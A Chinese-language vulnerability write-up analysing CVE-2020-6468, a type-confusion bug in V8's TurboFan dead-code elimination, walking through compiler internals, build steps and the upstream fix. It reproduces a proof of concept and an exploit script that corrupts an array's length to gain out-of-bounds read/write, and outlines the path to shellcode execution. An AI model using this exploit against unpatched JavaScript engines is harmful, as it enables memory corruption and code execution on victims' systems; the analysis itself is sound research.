CVE-2020-6468 分析

一、前言

  • CVE-2020-6468 是 v8 中的一个位于 DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall 函数的 JIT 漏洞。通过该漏洞攻击者可触发类型混淆修改数组的长度,这会导致任意越界读写并可进一步达到 RCE

    具体的说,就是可以在 CheckMaps 结点前向目标对象内部写入 -1,在被认出对象类型前成功修改数组长度。

  • 测试用的 v8 版本为 8.1.307

  • 由于这是笔者初次学习 JIT 中的 type confusion漏洞,因此可能会存在错误或一些较为模糊的地方,如有问题还请师傅们斧正。

二、环境搭建

  • 切换 v8 版本,然后编译:

    1
    2
    3
    4
    git checkout 8.1.307
    gclient sync
    tools/dev/v8gen.py x64.debug
    ninja -C out.gn/x64.debug
  • 启动 turbolizer。如果原先版本的 turbolizer 无法使用,则可以使用在线版本的 turbolizer v8.1

    v8 tools 的根目录在 此处

三、漏洞细节

1. 前置知识

a. %PrepareFunctionForOptimization

  • v8 中内置了一些 runtime 函数,可以在启动 d8 时追加--allow-natives-syntax参数来启动内置函数的使用。

  • %PrepareFunctionForOptimization 是 v8 众多内置函数中的其中一个。该函数可以为 JIT 优化函数前做准备,确保 JSFunction 存在 FeedbackVector等相关的结构(在必要时甚至会先编译该函数)。

    1
    2
    3
    4
    // 调用链如下
    Runtime_PrepareFunctionForOptimization
    bool EnsureFeedbackVector(Handle<JSFunction> function)
    void JSFunction::EnsureFeedbackVector(Handle<JSFunction> function)
  • 由于该内置函数只是为对应的 JSFunction 准备 FeedbackVector(请记住这个准备操作),因此可以通过多次调用目标函数来准备 FeedbackVector,替换该内置函数的调用。

b. JIT kThrow结点

Throw 类型的结点将以如下调用链添加进 BytecodeGraph 中:

1
2
3
4
5
6
7
void BytecodeGraphBuilder::BuildGraphFromBytecode(...)
void BytecodeGraphBuilder::CreateGraph()
void BytecodeGraphBuilder::VisitBytecodes()
void BytecodeGraphBuilder::VisitSingleBytecode()
void BytecodeGraphBuilder::VisitThrow() \
void BytecodeGraphBuilder::VisitAbort() \
void BytecodeGraphBuilder::VisitReThrow()

我们可以直接在 JS 代码中插入一条 throw 语句来生成一个 Throw 字节码:

img

实际上,Throw 结点在v8中频繁产生。归根到底,是因为对于图中控制流不可能到达的结点,turboFan 会将其更换成 throw 结点,这与 v8 C++ 代码中 UNREACHABLE 函数的使用,有着异曲同工之处。

c. JIT kTerminate 结点

  • Terminate 类型的结点,将以如下调用链,添加进 BytecodeGraph 中:

    1
    2
    3
    4
    5
    6
    void BytecodeGraphBuilder::BuildGraphFromBytecode(...)
    void BytecodeGraphBuilder::CreateGraph()
    void BytecodeGraphBuilder::VisitBytecodes()
    void BytecodeGraphBuilder::VisitSingleBytecode()
    void BytecodeGraphBuilder::BuildLoopHeaderEnvironment(int)
    void BytecodeGraphBuilder::Environment::PrepareForLoop(...)

    添加的具体代码见如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    void BytecodeGraphBuilder::Environment::PrepareForLoop(
    const BytecodeLoopAssignments& assignments,
    const BytecodeLivenessState* liveness) {
    // Create a control node for the loop header.
    Node* control = builder()->NewLoop();

    // 建立 Phi 相关的结点
    // ...

    // The accumulator should not be live on entry.

    // Connect to the loop end.
    // 这里添加了 terminate 结点
    Node* terminate = builder()->graph()->NewNode(
    builder()->common()->Terminate(), effect, control);
    builder()->exit_controls_.push_back(terminate);
    }
  • 但需要注意的是,并不是一执行BuildGraphFromBytecode函数就一定能添加 terminate 结点,该添加操作还受到一个判断条件的约束,只有满足 LoopHeader 的 Bytecode 才能添加 terminate 结点:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void BytecodeGraphBuilder::BuildLoopHeaderEnvironment(int current_offset) {
    // 注意该判断条件
    if (bytecode_analysis().IsLoopHeader(current_offset)) {
    // ...

    // Add loop header.
    environment()->PrepareForLoop(loop_info.assignments(), liveness);

    // ...
    }
    }
    }
  • 为了通过该 LoopHeader 的判断条件,我们需要继续向下探究。LoopHeader 实际以如下调用链添加进 BytecodeAnalysis 实例中:

    1
    2
    3
    4
    5
    6
    void BytecodeGraphBuilder::BuildGraphFromBytecode(...)
    BytecodeGraphBuilder::BytecodeGraphBuilder(,...)
    BytecodeAnalysis const& JSHeapBroker::GetBytecodeAnalysis(...)
    BytecodeAnalysis::BytecodeAnalysis(...)
    void BytecodeAnalysis::Analyze()
    void BytecodeAnalysis::PushLoop(...) // 添加 LoopHeader

    通过审计 BytecodeAnalysis::Analyze 函数的代码,我们可以发现, 只有当 bytecode 为 Bytecode::kJumpLoop时, LoopHeader 才会被添加进 BytecodeAnalysis 实例中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    void BytecodeAnalysis::Analyze() {
    // ...
    // 遍历 bytecode
    interpreter::BytecodeArrayRandomIterator iterator(bytecode_array(), zone());
    for (iterator.GoToEnd(); iterator.IsValid(); --iterator) {
    // ...
    // 当 bytecode 为 JumpLoop 时
    if (bytecode == Bytecode::kJumpLoop) {
    // Every byte up to and including the last byte within the backwards jump
    // instruction is considered part of the loop, set loop end accordingly.
    int loop_end = current_offset + iterator.current_bytecode_size();
    int loop_header = iterator.GetJumpTargetOffset();
    // 添加 LoopHeader
    PushLoop(loop_header, loop_end);
    // ...
    }
    // ...
    }
    // ...
    }
  • 那么,什么样的 JS 代码生成的 bytecode 中会有 Bytecode::kJumpLoop 呢?通过测试我们发现,任何的循环都会有JumpLoop 字节码JumpLoop实际上与汇编中循环末尾的 JMP 指令没什么太大的差异,只是 v8 中的字节码显著标识该 Jump 操作跳转回 Loop 里

    以下是一个测试用的 JS 代码:

    1
    2
    3
    4
    for(let a = 0; a < ii; a++)
    {
    console.log(ii);
    }

    对应生成的 bytecode:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    15 E> 0x11ce08250232 @    0 : a7                StackCheck 
    38 S> 0x11ce08250233 @ 1 : 0b LdaZero
    0x11ce08250234 @ 2 : 26 fb Star r0
    43 S> 0x11ce08250236 @ 4 : 25 02 Ldar a0
    43 E> 0x11ce08250238 @ 6 : 69 fb 00 TestLessThan r0, [0]
    0x11ce0825023b @ 9 : 9a 1c JumpIfFalse [28] (0x11ce08250257 @ 37)
    26 E> 0x11ce0825023d @ 11 : a7 StackCheck
    68 S> 0x11ce0825023e @ 12 : 13 00 01 LdaGlobal [0], [1]
    0x11ce08250241 @ 15 : 26 f9 Star r2
    76 E> 0x11ce08250243 @ 17 : 28 f9 01 03 LdaNamedProperty r2, [1], [3]
    0x11ce08250247 @ 21 : 26 fa Star r1
    76 E> 0x11ce08250249 @ 23 : 59 fa f9 02 05 CallProperty1 r1, r2, a0, [5]
    50 S> 0x11ce0825024e @ 28 : 25 fb Ldar r0
    0x11ce08250250 @ 30 : 4c 07 Inc [7]
    0x11ce08250252 @ 32 : 26 fb Star r0
    0x11ce08250254 @ 34 : 8a 1e 00 JumpLoop [30], [0] (0x11ce08250236 @ 4) # 注意这里的 JumpLoop
    0x11ce08250257 @ 37 : 0d LdaUndefined
    92 S> 0x11ce08250258 @ 38 : ab Return

    通过在 turbolizer 中观察生成的图,可以看到在 BytecodeGraphBuild 阶段成功生成了一个 Terminate 结点:

    img

d. DeadCodeElimination优化

DeadCodeElimination 分别位于 InliningPhase、TypedLoweringPhase等等,主要将一些 DeadCode 从图中去除,在此我们只侧重讨论其中的部分优化函数。

1) ReduceLoopOrMerge

在上文中我们已经说明,JS 代码中任意的循环均会生成 JumpLoop 的字节码,并进一步生成 Terminate 结点。

但在实际的动态调试过程中,我们发现该 Terminate 结点在 BytecodeGraphBuilder 阶段生成后,可在 inlining 优化中的 DeadCodeElimination被优化掉,当且仅当 Loop 结点只有一个 input

其中该结点的关键优化函数即为ReduceLoopOrMerge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) {
// ...

// 计算活跃的input,并将活跃input向前移动
int live_input_count = 0;
// ...
if (live_input_count == 0) {
return Replace(dead());
// 如果只有 **一个** 活跃输入
} else if (live_input_count == 1) {
NodeVector loop_exits(zone_);
// 遍历所有 Loop 结点的 use 点,即 dest 结点
for (Node* const use : node->uses()) {
// ...

// 处理 Terminate 结点
} else if (use->opcode() == IrOpcode::kTerminate) {
DCHECK_EQ(IrOpcode::kLoop, node->opcode());
// 将 Terminate 结点杀死
Replace(use, dead());
}
}
// ...
// 将当前 Loop 结点优化去除
return Replace(node->InputAt(0));
}
// ...
return NoChange();
}

那有没有什么办法能绕过 Loop 结点的优化操作呢?那就是提高函数调用次数,使得增加其 type feedback(调试坑点之一!)。

以下面这个 test case 为例:

1
2
3
4
5
6
7
8
9
10
function opt_me() {
for(let a = 0; a < 3; a ++)
console.log(a);
}

opt_me();
%PrepareFunctionForOptimization(opt_me);
// opt_me 函数执行次数较少
%OptimizeFunctionOnNextCall(opt_me);
opt_me();

将会生成如下的图。注意 Loop 结点只有一个 input,此时一旦 DeadCodeElimination 遇到 Loop 结点,该优化将会立即消除 Terminate 结点。

img

而倘若多运行几次目标函数,即:

1
2
3
4
5
6
7
8
9
10
11
12
function opt_me() {
for(let a = 0; a < 3; a ++)
console.log(a);
}

opt_me();
%PrepareFunctionForOptimization(opt_me);
// 这里多运行了22次
for(let a = 0; a < 22; a++)
opt_me();
%OptimizeFunctionOnNextCall(opt_me);
opt_me();

那么就会产生以下大相径庭的图,其中 Loop 又多了一个 JSCall 的 input,因此 terminate 结点将在执行完 inlinePhase 后被保留:

img

2) ReduceDeoptimizeOrReturnOrTerminateOrTailCall

Terminate 结点只有两个 input ,分别是 EffectPhi (Effect Node) 以及 Loop 结点 (Control Node)。

该函数对 Terminate 结点的优化较为简单:若当前结点存在 dead input,则只重设了该结点的 input,并设置 opcode 为 kThrow,即将当前 Terminate 结点更新为 Throw 结点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
Node* node) {
// ...
// 如果当前结点存在 dead input
if (FindDeadInput(node) != nullptr) {
Node* effect = NodeProperties::GetEffectInput(node, 0);
Node* control = NodeProperties::GetControlInput(node, 0);
// ...
// 对当前结点添加一些设置
node->TrimInputCount(2);
node->ReplaceInput(0, effect);
node->ReplaceInput(1, control);
// 将 op 设置为 kThrow
NodeProperties::ChangeOp(node, common()->Throw());
return Changed(node);
}
return NoChange();
}

e. JSInliningHeuristic 优化

  • JSInliningHeuristic 位于 InliningPhase,主要将一些可被内联的函数进行内联。

  • JSInliningHeuristic::Reduce将会对传入的 node 类型进行判断,如果是 JSCall 或者 JSConstruct 结点,则进行下一步的判断,直到最后将当前结点加入至 candidates_ 集合中。这里的 Reduce 操作只是获取了待内联的函数集合,真正的内联操作位于 Finalize 函数中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    Reduction JSInliningHeuristic::Reduce(Node* node) {
    DisallowHeapAccessIf no_heap_acess(broker()->is_concurrent_inlining());
    // check1:判断当前结点是否是 JSCall 或者 JSConstruct 结点
    if (!IrOpcode::IsInlineeOpcode(node->opcode())) return NoChange();

    // ...

    // check2:Check if the {node} is an appropriate candidate for inlining.
    Candidate candidate = CollectFunctions(node, kMaxCallPolymorphism);
    if (candidate.num_functions == 0) {
    return NoChange();
    } else if (candidate.num_functions > 1 && !FLAG_polymorphic_inlining) {
    TRACE("Not considering call site #"
    << node->id() << ":" << node->op()->mnemonic()
    << ", because polymorphic inlining is disabled");
    return NoChange();
    }

    // 剩下的一些无关紧要的check,基本上都能通过
    // ...

    // 将当前结点加入至 candidates_ 集合中
    candidates_.insert(candidate);
    return NoChange();
    }
  • 要想将一个目标的内联函数加入至 candidates_ 集合中,最少要通过 Reduce 函数中的两个关键 check:

    • 当前结点为 JSCall 或 JSConstruct。
    • 当前结点的 Callee(即 input[0])为 Phi 或 JSCreateClosure,并满足一些条件。

    如果目标函数执行的次数较多,即 Feedback Is Sufficient,那么每个 call 都会生成一个 JSCall 结点,同时第二个 check 也会被通过;但如果目标函数执行的次数较少(这种情况尤为发生在调试时),那么 JSCall 结点就不会被插入至图中,更别说通过第二个 Check 了。

    以下阐述了目标函数执行情况产生 JSCall 结点之间的影响,我们先写一段 test case:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    function test()
    {
    for(let a = 0; a < 3; a ++)
    console.log(a);
    }

    function opt_me() {
    test();
    }

    opt_me();
    %PrepareFunctionForOptimization(opt_me);
    for(let a = 0; a < 22; a++)
    opt_me();
    %OptimizeFunctionOnNextCall(opt_me);
    opt_me();

    输出函数 opt_me 的字节码,可以发现:调用 test 函数所对应的字节码为CallUndefinedReceiver0,即建立 JSCall 结点的调用链如下:

    1
    2
    3
    void BytecodeGraphBuilder::VisitCallUndefinedReceiver0()
    void BytecodeGraphBuilder::BuildCall(ConvertReceiverMode receiver_mode, std::initializer_list<Node*> args, int slot_id)
    void BytecodeGraphBuilder::BuildCall(ConvertReceiverMode receiver_mode, Node* const* args, size_t arg_count, int slot_id)

    对应的 最底层BuidCall 函数源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    void BytecodeGraphBuilder::BuildCall(ConvertReceiverMode receiver_mode,
    Node* const* args, size_t arg_count,
    int slot_id) {
    // ..
    // 生成 JSCall 的Operator
    const Operator* op =
    javascript()->Call(arg_count, frequency, feedback, receiver_mode,
    speculation_mode, CallFeedbackRelation::kRelated);
    // 关键!执行 JSTypeHintLowering操作
    JSTypeHintLowering::LoweringResult lowering = TryBuildSimplifiedCall(
    op, args, static_cast<int>(arg_count), feedback.slot);
    // 如果 JSTypeHintLowering 操作中存在问题,则不插入 JSCall 结点
    if (lowering.IsExit()) return;
    // 执行到这里时,基本上 JSCall 结点将会插入至图中
    Node* node = nullptr;
    if (lowering.IsSideEffectFree()) {
    node = lowering.value();
    } else {
    DCHECK(!lowering.Changed());
    node = ProcessCallArguments(op, args, static_cast<int>(arg_count));
    }
    environment()->BindAccumulator(node, Environment::kAttachFrameState);
    }

    我们发现,只有当 TryBuildSimplifiedCall 函数返回的结果不满足 IsExit 条件时, JSCall 结点才会被插入至图中。而进一步跟踪,发现只有当函数的Feedback充足时,才不会满足 IsExit 条件,并将插入 JSCall 结点。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    Node* JSTypeHintLowering::TryBuildSoftDeopt(FeedbackSlot slot, Node* effect,
    Node* control,
    DeoptimizeReason reason) const {
    if (!(flags() & kBailoutOnUninitialized)) return nullptr;

    FeedbackSource source(feedback_vector(), slot);
    // 如果Feedback较少,则继续执行,否则返回 nullptr以 **拒绝** 生成 LoweringResult::Exit
    if (!broker()->FeedbackIsInsufficient(source)) return nullptr;
    // 以下是对 Feedback 较少的情况所生成的结点,注意这是一种我们不愿意看到的情况
    Node* deoptimize = jsgraph()->graph()->NewNode(
    jsgraph()->common()->Deoptimize(DeoptimizeKind::kSoft, reason,
    FeedbackSource()),
    jsgraph()->Dead(), effect, control);
    Node* frame_state =
    NodeProperties::FindFrameStateBefore(deoptimize, jsgraph()->Dead());
    deoptimize->ReplaceInput(0, frame_state);
    return deoptimize;
    }

    综上,当函数调用次数较多时,JSCall 才会正常插入至图中,并为接下来内联目标函数提供了有力的基础。

    img)_

  • JSInliningHeuristic::Finalize函数要做的操作很简单,取出 candidates_ 集合中的结点并进行内联操作:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    void JSInliningHeuristic::Finalize() {
    DisallowHeapAccessIf no_heap_acess(broker()->is_concurrent_inlining());

    if (candidates_.empty()) return; // Nothing to do without candidates.
    // ...

    // We inline at most one candidate in every iteration of the fixpoint.
    // This is to ensure that we don't consume the full inlining budget
    // on things that aren't called very often.
    // TODO(bmeurer): Use std::priority_queue instead of std::set here.
    while (!candidates_.empty()) {
    auto i = candidates_.begin();
    Candidate candidate = *i;
    candidates_.erase(i);

    // 判断当前 inline 的函数是否是 dead code
    // ...

    // 对目标函数的大小以及已经 inline 的大小进行限制
    // ...

    /*
    万事无误,开始执行内联操作...
    InlineCandidate 函数将会把 JSCall/JSConstruct 结点,用另一个函数的子图来扩展。
    */
    Reduction const reduction = InlineCandidate(candidate, false);
    if (reduction.Changed()) return;
    }
    }

    JSInliningHeuristic::Finalize函数中所调用的InlineCandidate函数,将会用另一个函数的子图来扩展当前 JSCall/JSConstruct结点

    这整个将某个函数内联进图的操作,关键在于:

    • 另一个函数的图是直接在InlineCandidate函数中,通过 BytecodeGraphBuilder 建立,因此新图中的所有结点尚未经过任何的优化
    • 同时,由于此时已经位于 GraphReducer 中的 Finalize 阶段,因此新加入至图中的结点将不会经过 DeadCodeElimination 的优化操作(注意这里指的 DeadCodeElimination 位于 inliningPhase )。

    所以,另一个函数中的 Loop & Terminate 结点均可保留,即通过 inliningPhase 后的图,仍然可以保留 Loop & Terminate 结点。

    img

f. Schedule::AddThrow函数

  • JIT 中 EffectControlLinearizationPhase 主要完成以下工作:

    • 建立一个 Scheduler
    • 使用 Scheduler 重建控制流(control chain)和效果流(effect chain)
    • 在重建时,优化部分操作并将其连接至 控制流/效果流中。

    也就是说,重建控制流和效果流的这部分操作位于 Scheduler 类中

  • 而我们可以通过以下调用链,调用至 AddThrow 函数

    1
    2
    3
    4
    5
    6
    7
    8
    bool PipelineImpl::OptimizeGraph(...)
    void EffectControlLinearizationPhase::Run(...)
    Schedule* Scheduler::ComputeSchedule(...)
    void Scheduler::BuildCFG()
    void CFGBuilder::Run()
    void CFGBuilder::ConnectBlocks(Node* node)
    void CFGBuilder::ConnectThrow(Node* thr)
    void Schedule::AddThrow(...)

    Scheduler 建立 CFG 时将会遍历控制结点(control node),如果遍历至 IrOpcode::kThrow 结点,则将会进行以下操作:

    1. 获取 throw 结点的控制结点 throw_control

    2. 获取该控制结点的前驱(Predecessor)基础块 throw_block

    3. 设置 throw_block 的末尾控制流结点类型BasicBlock::kThrow

      即设置末尾可终止该基本块的控制流结点的类型为 BasicBlock::kThrow

    4. 为 throw_block 基本块设置其控制流输入结点(control input)为当前 kThrow 结点。

      该 control input 应该是基本块的最后一个结点。

    综上,若建立CFG时遍历到了 throw 控制流结点,则将

    1. 获取 throw 控制流结点的前驱基本块
    2. 设置该基本块末尾的控制流结点类型以及控制流输入结点

    需要注意的是,基础块的控制流指向是从后往前的,因此 throw 控制流结点才会去处理前驱基础块末尾结点 (见第三个参考链接)

2. 关键点

  • DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall将会对 Terminate 结点进行处理,如果 Terminate 结点存在 Dead Input,则将其替换为 Throw 结点由于 Terminate 结点并非实际控制流结点的一部分,因此这种替换成 Throw 结点的方式将会带来一些问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
    Node* node) {
    DCHECK(node->opcode() == IrOpcode::kDeoptimize ||
    node->opcode() == IrOpcode::kReturn ||
    node->opcode() == IrOpcode::kTerminate ||
    node->opcode() == IrOpcode::kTailCall);
    Reduction reduction = PropagateDeadControl(node);
    if (reduction.Changed()) return reduction;
    // 如果存在 DeadInput, 则将 Terminate 结点优化成 Throw 结点。
    // 因为存在DeadInput,所以 Terminate 结点将不会被执行到,一旦执行到肯定是出错了,即Throw
    if (FindDeadInput(node) != nullptr) {
    Node* effect = NodeProperties::GetEffectInput(node, 0);
    Node* control = NodeProperties::GetControlInput(node, 0);
    if (effect->opcode() != IrOpcode::kUnreachable) {
    effect = graph()->NewNode(common()->Unreachable(), effect, control);
    NodeProperties::SetType(effect, Type::None());
    }
    node->TrimInputCount(2);
    node->ReplaceInput(0, effect);
    node->ReplaceInput(1, control);
    NodeProperties::ChangeOp(node, common()->Throw());
    return Changed(node);
    }
    return NoChange();
    }

    “Terminate 结点并非实际控制流结点”。这句话看上去有点难以理解,但实际上我们可以沿以下调用链,在InstructionSelector::VisitNode函数中找到答案:

    1
    2
    3
    4
    5
    6
    bool PipelineImpl::OptimizeGraph(...)
    bool PipelineImpl::SelectInstructions(...)
    void InstructionSelectionPhase::Run(...)
    bool InstructionSelector::SelectInstructions()
    void InstructionSelector::VisitBlock(...)
    void InstructionSelector::VisitNode(Node* node)

    VisitNode函数中,IrOpcode中的kStartkLoop,以及kEffectPhikTerminate等,都没有其对应的具体操作,即没有调用对应的 VisitXXX 函数。实际上,这些空操作的结点,在图中只是用于标识某些状态信息。以kLoop为例,该结点标识了一个循环的范围,但并不会实际翻译成对应的机器码。

    以下是VisitNode函数的源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    void InstructionSelector::VisitNode(Node* node) {
    tick_counter_->DoTick();
    DCHECK_NOT_NULL(schedule()->block(node)); // should only use scheduled nodes.
    switch (node->opcode()) {
    case IrOpcode::kStart:
    case IrOpcode::kLoop:
    case IrOpcode::kEnd:
    case IrOpcode::kBranch:
    case IrOpcode::kIfTrue:
    case IrOpcode::kIfFalse:
    case IrOpcode::kIfSuccess:
    case IrOpcode::kSwitch:
    case IrOpcode::kIfValue:
    case IrOpcode::kIfDefault:
    case IrOpcode::kEffectPhi:
    case IrOpcode::kMerge:
    case IrOpcode::kTerminate:
    case IrOpcode::kBeginRegion:
    // No code needed for these graph artifacts.
    return;
    // ...
    case IrOpcode::kFloat32Constant:
    return MarkAsFloat32(node), VisitConstant(node);
    // ...
    }
    // ...
    }
  • 以下是漏洞团队给出的 mini POC,该POC 可以触发 ReduceDeoptimizeOrReturnOrTerminateOrTailCall 函数,将 Terminate 结点优化成 Throw结点。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    var obj = {};
    function f() {
    var var13 = new Int8Array(0);
    var13[0] = obj;
    async function var5() {
    const var9 = {};
    while (1) {
    if (abc1 | abc2)
    while (var9) {
    await 1;
    print(abc3);
    }
    }
    }
    var5();
    }

    print(f());
    % PrepareFunctionForOptimization(f);
    for (var i = 0; i < 22; i++)
    f();
    % OptimizeFunctionOnNextCall(f);
    f();

    输出如下:

    注:图中的 [INFO] [ERROR] 等输出,均为手动打 patch 的输出。

    img

这个 Poc 构造难度相当大,归根到底是因为 JIT 的优化机制复杂多变,常常出现上一个优化的结果跨过好几个Phase后,被某个位于角落的优化代码给处理了。

这个 Poc 仍然需要再细细研究一下。

四、漏洞利用

  • 当 Terminate 结点被替换成 Throw 结点后,在 turboFan EffectControlLinearizationPhase 中,部分指令将被错误地调度。如果我们可以在 checkmap 结点前向目标对象的特定位置写入 -1,那么就可以成功达到 type confusion 的目的。即,在目标函数认出当前对象非预期对象之前(check map),将 -1 写入对应位置。

  • 以下是 issue中给出的越界读取 exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    class classA {
    constructor() {
    this.val = 0x4242;
    this.x = 0;
    this.a = [1, 2, 3];
    }
    }

    class classB {
    constructor() {
    this.val = 0x4141;
    this.x = 1;
    this.s = "dsa";
    }
    }

    var A = new classA();
    var B = new classB()

    function f(arg1, arg2) {
    if (arg2 == 41) {
    return 5;
    }
    var int8arr = new Int8Array(10);
    var z = arg1.x;
    // new arr length
    arg1.val = -1;
    int8arr[1500000000] = 22;
    async function f2() {
    const nothing = {};
    while (1) {
    //print("in loop");
    if (abc1 | abc2) {
    while (nothing) {
    await 1;
    print(abc3);
    }
    }
    }
    }
    f2();
    }

    var arr = new Array(10);
    arr[0] = 1.1;

    var i;
    // this may optimize and deopt, that's fine
    for (i = 0; i < 20000; i++) {
    f(A, 0);
    f(B, 0);
    }
    // this will optimize it and it won't deopt
    // this loop needs to be less than the previous one
    for (i = 0; i < 10000; i++) {
    f(A, 41);
    f(B, 41);
    }

    console.log("change the arr length");
    f(arr, 0);

    print("LENGTH: " + arr.length.toString());

    print("value at index 12: " + arr[12].toString());

    // crash
    print("crash writing to offset 0x41414141");
    arr[0x41414141] = 1.1;

    运行结果如下(注意使用 release 版本的 v8 ):

    img

    注意该 exp 中的关键点:函数 f 经过多次 opt 以及 deopt,搭配函数内部中错误的指令调度,导致当传入了一个非 A 非 B 类型的数组后,成功在数组长度位置处写入 -1。

  • 当获取到越界读取原语后,我们就可以构建 ArrayBuffer 并覆写其 backing_store 指针,进而构造任意地址读写原语 => 写入 shellcode => 执行并获取 shell。这方面内容就不再过多展开了,感兴趣的可以查看之前那个 GoogleCTF2018 (Final) JIT WP,内含后续构造的详细构造。

五、后记

  • 漏洞修复见如下链接 - revision1 | revision2

    新打的 patch 完成以下两操作:

    • 将 Terminate 的优化操作从 DeadCodeElimination 中移除

      因为 Terminate 结点并非实际控制流结点,因此不能转换成 Throw 结点。

    • 对 Schedule 类成员中 可选的DCHECK 修改成 强制的CHECK。

      Schedule 类成员函数对重建控制流起到了很重要的作用。在此处加强 check 将会降低重建异常控制流的可能性。

    具体 diff 如下:

    • revision1:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      @@ -317,7 +317,10 @@
      node->opcode() == IrOpcode::kTailCall);
      Reduction reduction = PropagateDeadControl(node);
      if (reduction.Changed()) return reduction;
      - if (FindDeadInput(node) != nullptr) {
      + // Terminate nodes are not part of actual control flow, so they should never
      + // be replaced with Throw.
      + if (node->opcode() != IrOpcode::kTerminate &&
      + FindDeadInput(node) != nullptr) {
      Node* effect = NodeProperties::GetEffectInput(node, 0);
      Node* control = NodeProperties::GetControlInput(node, 0);
      if (effect->opcode() != IrOpcode::kUnreachable) {
    • revision2:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      @@ -218,7 +218,7 @@
      }

      void Schedule::AddGoto(BasicBlock* block, BasicBlock* succ) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      block->set_control(BasicBlock::kGoto);
      AddSuccessor(block, succ);
      }
      @@ -243,7 +243,7 @@

      void Schedule::AddCall(BasicBlock* block, Node* call, BasicBlock* success_block,
      BasicBlock* exception_block) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      DCHECK(IsPotentiallyThrowingCall(call->opcode()));
      block->set_control(BasicBlock::kCall);
      AddSuccessor(block, success_block);
      @@ -253,7 +253,7 @@

      void Schedule::AddBranch(BasicBlock* block, Node* branch, BasicBlock* tblock,
      BasicBlock* fblock) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      DCHECK_EQ(IrOpcode::kBranch, branch->opcode());
      block->set_control(BasicBlock::kBranch);
      AddSuccessor(block, tblock);
      @@ -263,7 +263,7 @@

      void Schedule::AddSwitch(BasicBlock* block, Node* sw, BasicBlock** succ_blocks,
      size_t succ_count) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      DCHECK_EQ(IrOpcode::kSwitch, sw->opcode());
      block->set_control(BasicBlock::kSwitch);
      for (size_t index = 0; index < succ_count; ++index) {
      @@ -273,28 +273,28 @@
      }

      void Schedule::AddTailCall(BasicBlock* block, Node* input) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      block->set_control(BasicBlock::kTailCall);
      SetControlInput(block, input);
      if (block != end()) AddSuccessor(block, end());
      }

      void Schedule::AddReturn(BasicBlock* block, Node* input) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      block->set_control(BasicBlock::kReturn);
      SetControlInput(block, input);
      if (block != end()) AddSuccessor(block, end());
      }

      void Schedule::AddDeoptimize(BasicBlock* block, Node* input) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      block->set_control(BasicBlock::kDeoptimize);
      SetControlInput(block, input);
      if (block != end()) AddSuccessor(block, end());
      }

      void Schedule::AddThrow(BasicBlock* block, Node* input) {
      - DCHECK_EQ(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, block->control());
      block->set_control(BasicBlock::kThrow);
      SetControlInput(block, input);
      if (block != end()) AddSuccessor(block, end());
      @@ -302,8 +302,8 @@

